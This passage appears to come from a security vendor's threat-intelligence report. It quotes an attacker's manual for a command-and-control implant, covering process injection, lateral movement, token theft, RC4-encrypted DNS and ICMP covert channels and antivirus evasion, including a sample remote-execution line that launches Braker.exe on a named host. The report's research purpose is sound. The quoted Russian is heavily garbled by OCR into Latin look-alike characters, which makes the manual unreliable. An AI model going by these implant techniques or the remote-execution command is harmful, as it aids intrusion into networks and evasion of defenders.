(TpebyeTcs MMAA, He NpUCbINaeTcs cam no cebe, 2 KOMaHAbI MO NOPSAAKY Nepes 3K3eKyToOM: gap->sm)
Is - annac ana shell dir
inject <int> - MHXeKTHYTb camoro cebs B npouecc id.
shinject <int> - NHXeKTHYTb Wennkog B npouecc id.
locallistener <int> - 3anycTnTb IOKaNbHbIV TUCTEHEP Ha YKa3aHHOM nopTy, aavac: |l
exit - OTK/IOUMTb AaHHbIN Bpenkep (6e3 MOoMbITOK NepenoAKIHOYEHWS)
jump <pc_name> - NpbIrHYTb Ha APYryr0 MallUHY 1 3anyCTUTb cebs xe
remote_exec <pc_name> <cmd> - yfaneHHbIN 3anyck KOMaHAbl
remote_exec ESXI7WIN2019V3 C: ¥Users¥Public¥Braker.exe , anvac: re
make_token <domain>¥<username> <password> - [Tony4nTb TOKEH JaHHOrO t03epa, BMEeCTO JOMeHa
TOUKa, eC/n t03ep NoKa/bHbIW, anmac: mt
rev2self - Reset token
ps <optional: cache> - Monyuntb Npoueccol Npu ykasaHmm cache (ps cache) 6yaet Bo3BpaLleHO
K3LWMPOBaHHOE 3HaYeHre KOMaH/bl, PEKOMEHAYHO NCMOb30BaTh 3TO MOTOMY UYTO He NaauT Tpaduk. YTobbI
06HOBUTL K3LW AocTaTouHO 1 pa3 3anpocuTb KOMaHAy 6e3 Kawwa
sleep <number> - No ymonyaHuto pabotaet "yMHbIA cann”, 6perikep ByaeT nMHroBatb Kaxable 5 (aedonT)
cekyHa. Ho ecnn nosaBmTcs KOMaHAa - OH ee BbINOJIHUT MOMEHTaJIbHO.
upload <filename> - 3arpy3nTb danin c UMeHeM, KOTOPbIN yKa3aH B MepBOM apryMeHTe. [1oABUTCA OKHO C
BbIbOpOM darina a4 3arpysku. onmcaHne KomaHabl net:
net domain - noay4nTb aKkTyanbHOE UMA JOMEHa
net domain_trusts - nonyunts cnvcok inbound & outbound Tpactos, annacel ana domain_trusts: dt, trusts,
trust, domain_trust getarchandpid - nonyunTb apxuTekTypy 1 Nng, TONbKO NOCAE 3TOM KOMaHAbl CTaHOBUTCA
AOCTyneH execute assembly. annac: gap
gcn - GetComputerName
gpn - GetProcessName
gdn - GetDomainName
status - [MonyunTb TekyLLMI CTaTyC 3arpy3kn KOMaHZabl (419 AHC U NMUHT CEPBEPOB, €CNIN MHOTO AaHHbIX
y3HaTb CTaTyC 3arpysmu)
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SM - NONYYNTb MUAANBEND (HY>KEH A8 MHXKEKTa Lwapna).

Q: Mouemy MUANBENP HYXKHO TPY3UTb BPYUHYHD?

A: MOXHO caenaTb aBTOMaTUUeCKW, HO Torga 3TO 1 BpeMeHu 6osblue 1 6oAblue WaHC, Y4To aB cnaauTt. Ecam
He cobupaeTecb UCNOAb30BaTh .Net, TO 3a4eM cpasy rpy3utb nennoas? B namatn oH xpaHuTCa Kak
oTAeNbHbIN exe. [103ToOMy HalTK ero JOCTaTOYHO Nerko, B Byayuiem byaeT wndpoBaHne nan nepegenaHo
Ha Wwennkoz (nocneaHee 60nee BEPOATHO).

OnwucaHue to3epckoro nHtepderica: KHonka

Login - nocnaTb 3anpoc aBToOpM3aLmmn B rONOBHOM cepBep (celyvac HaxnmaTtb He TpebyeTcs, NPoOnCXoanT
aBToMatumueckn) KHonka

Interact - [lobaBnseT TapreT B CNMCOK BKIaJ0K, AeaeT ero akTMBHbIM /19 B3aUMOAENCTBUA

Ban client - 3abaHuTb kAMEeHTa Mo arnu, 6obLle NOAKAUNUTLCA HE CMOXET A0 Nnepe3arpy3kn roNoBHOro
cepBepa

Disconnect client - ybpaTtb knneHTa n3 cnucka (HanpyvmMep, eciv OH AaBHO He OTBEYaEeT), OH
nepeAnoAKIHUNTCA MNO3XKe, e BOWAET B CETb eLle pas

Cronbuk "ProcessName" nokasbiBaeT NpoLLecC 13 Noj KOTOPOro 3anyLeH bperkep, ecam HaBecTu - byaeT
nokasax MOJHbIN nyTs ao daiina

CnpaBa Hag koHconbto Autoscroll uekbokc, ecam Haxkat, TO HOBble KOMaHAbl ONepaTopoOB M OTBETbI OT
TapreTtoB ByAyT CKPOAUTb KOHCOb A0 KOHLLA

MNaHenb BBOAA B CAaMOM HU3Y, MOABAAETCA NOCAE HaXkaTusA Ha KHOMKY Interact.

Bo3MOXXHOCTM naHenn BBOAA:

MaHeNb MOXHO paclNpPATb BEPTUKAAbHO, YTOObI 3TO cAenaTh, HAZAO MbILKOW HAaBECTUCH Ha NpPaBbli
BEPXHWI YroN KOHCO/M, TaM MaNeHbKasa MKOHKa paclUMpeHuns, 3aTeM HaxnMaeM 1 ABUraemM B HanpaBaeHUM
paclmpeHns

CTpenoykun BBepX BHU3 AN UCTOPUM KOMaHA

Tab 3aecb 3a6104€eH Ha AaHHbBIN MOMEHT, UTObbI He NpbiraTe MO 6pay3epy OT MUCCKAVKA, B paboTe aBTODU
KOMaHJ,

CBepxy cripaBa MasieHbKuUA 6OKC AN M3MEHEHNA BEPTMKaNbHOTO pa3Mepa KOHCOAN

Hag naHenbto BBOAa Tekyllas paboyas AnpekTopums, oHa coxpaHseTcs. (B byayuiem npu TMXOM pexxmme
cepBepa He byseT pabouei anpekTopuu, ged 3TO NanuT Kak NOAO3PUTENbHOE NOBEAEHME)
Ecnv HaxkaTb NpaByro KHOMKY MbILWK (MKM Aanblie) Ha CTpouke B Tabanue, byaeT OTKpbIBaTbCsA KACTOMHOE
KOHTEKCTHOE MEH}O:
Self inject - oTKpOETCA OKHO CO CMUCOK MPOLLECCOB AaHHOrO KOMMbOTEPa (CHayYana HaZso ux 3anpocuTb 6e3
K3LWa - ps), MOXHO byAeT camopacnpoCTPaHNUTLCA.

- B okHe ecTb kHoMKa Filter by injectable. Yaanatca npouecchl, B KOTOpble B AaHHbI MOMEHT
3aNHXKEKTUTBCA HEBO3MOXKHO.

Total red processes 310 Bcero nogcBe4YeHO KpacCHbIX MpoLieccoB (aB). Bozne Haanucn kHonka filter
KOTOpas OTCOPTUPYET TONbKO KPacHbIE.

[Janee Total blue processes 310 kaneHTCKMe NpunoxeHus. Bosne Hagnucn kHonka filter koTopas
OTCOPTMPYET TONbKO ronybsble.
Get processes - 3anpocuTb CMUCOK MPOLLECCOB (TO Xe CaMOe, UTO 1 PS B KOHCOJb)

Bknagka Global Logs Hy>kHa Ana TeXHU4YeCKOro NCMoab30BaHWUSA, HUYEro CTpaLllHoOro He byaet ecm
HanucaTb Tyja KOMaHay

OnucaHue cepBepa:
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B nporpammy sob6aBneHo 6a3oBoe WndpoBaHme rcd Mexay KIMEHTOM U CEPBEPOM, 4O TeX Mop Moka s He
3aMeHo Ha bonee cTOMKWI aHanor. Ha nepBoe BpeMs 3TOro 40CTaTOYHO (Moka MO MPOTOKO/ He

pacwmdpyroT)

AprymMeHTbI:
-port <int> ncnonb3oBaTh NOPT ANSA BCErO, UTO HE LLENNKO, (exe)
-silent TMXMI pexxMM, Ha JaHHbIM MOMEHT OH He LUNET HEKOTOPbIe MPOrpamMMbl, YTOObI aB He CNaaua Ha
3anycke lMoaaep>kka
NPOTOKONOB:
(exp) - O3HayaeT 3KCNepPUMEHTaNbHYO BEPCUIO U MOXET CoAep KaTb OLWNOKM.

Tcp/DNS (exp) /PING (exp)
TCP:

CobCTBEHHbBIN NPOTOKON 06MeHa coobLeHnamMm, ncnonbsyet tcp 6e3 HaacTpoek. Hanbonee oTkpbIT, nerko
OTCNeANTb, OAHAKO caMbln 6bICTpbIN. HakpbIT cBepxy RC4.

DNS:

MNpoTtokon 6epet 3a ocHoBy https://www.ietf.org/rfc/rfc1035.txt 3Ty 6a3y. B kauectBe cnocoba obmeHa
coobLeHnaMn. B saHHbIN MOMEHT nmeeT Tonbko pexxum malformed frame, nocbinaet Ha cepsep data->rc4-
>base64 saHHble B MONOMaHHOM dpopmMaTe A4/19 NapcepoB, MOXET MOMOUYb OT AEeTEKTOB, TK CTaHAAPTHbIE
napcepbl He pacno3HatoT NakeT (HO ByayT BUAETb, UYTO 3TO AHC 3anpoc). B byayuiem nnaHmnpyetcs gob6aButb
Heckonbko pexunmos DNS: MackvpoBka Nog BaanAHbIA NakeT C UCMOAb30BaHNEM Pa3NNUYHbIX YPOBHEWN
aAomeHa, TXT 3anuce.

PING:

MNporpamma byaet cnatb ICMPV2 nakeTbl 1 BMecTO andasuTa byaeT MCNoNb30BaTbCA NOJE3HasA Harpyska
nog rc4. MuHr peakKo oTKAKUaKT, MOXET NOMOYb NPOTUB Pa3INYHbIX GaepBOJIOB.

Koabl owinbok:

10 - He coxpaHeH MUANBENP ANA UHXKEKTa Lwapna (Mcnonb3yvTe gap->sm)
232 - 3aKkpbiaca navn muagna (Hanvcatb pazpaboTunky)
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| Termsofuse

I Important Notice

Multiple translation tools including generative Al were used for chat log translation, and our company makes no
guarantees regarding translation accuracy. Please understand this in advance.

The content described in this material represents independent research and analysis results by MBSD Cyber
Intelligence Group (CIG). The chat logs that were the subject of analysis are quoted as Original Text, which may
contain inappropriate or offensive expressions, but modifications have been kept to the minimum necessary to
maintain the nature of the source material.

I Secondary Use

This material may be freely quoted and reproduced for non-commercial purposes only by clearly indicating the
source. When using this material, please clearly state "MBSD Cyber Intelligence Group (CIG)" as the source.

* There is no problem with using parts of this material as quotes or reference information for publications, paid
seminars, media coverage, and other formats that generate revenue for users. However, please refrain from
selling or distributing this material itself for commercial purposes.

I Copyright Notice

Intellectual property rights regarding the information, images, designs, layouts, logos, trademarks, etc. published
in this document belong to Mitsui Bussan Secure Directions, Inc. (MBSD) or rights holders who have authorized
MBSD to use them. Unauthorized reproduction and reproduction are prohibited.

I Contact Information

Please contact us at the following URL for communications or inquiries regarding usage.

https://www.mbsd.jp/contact/

Mitsui Bussan Secure Directions, Inc.
https://www.mbsd.jp/
© 2025 Mitsui Bussan Secure Directions, Inc. All Rights Reserved.
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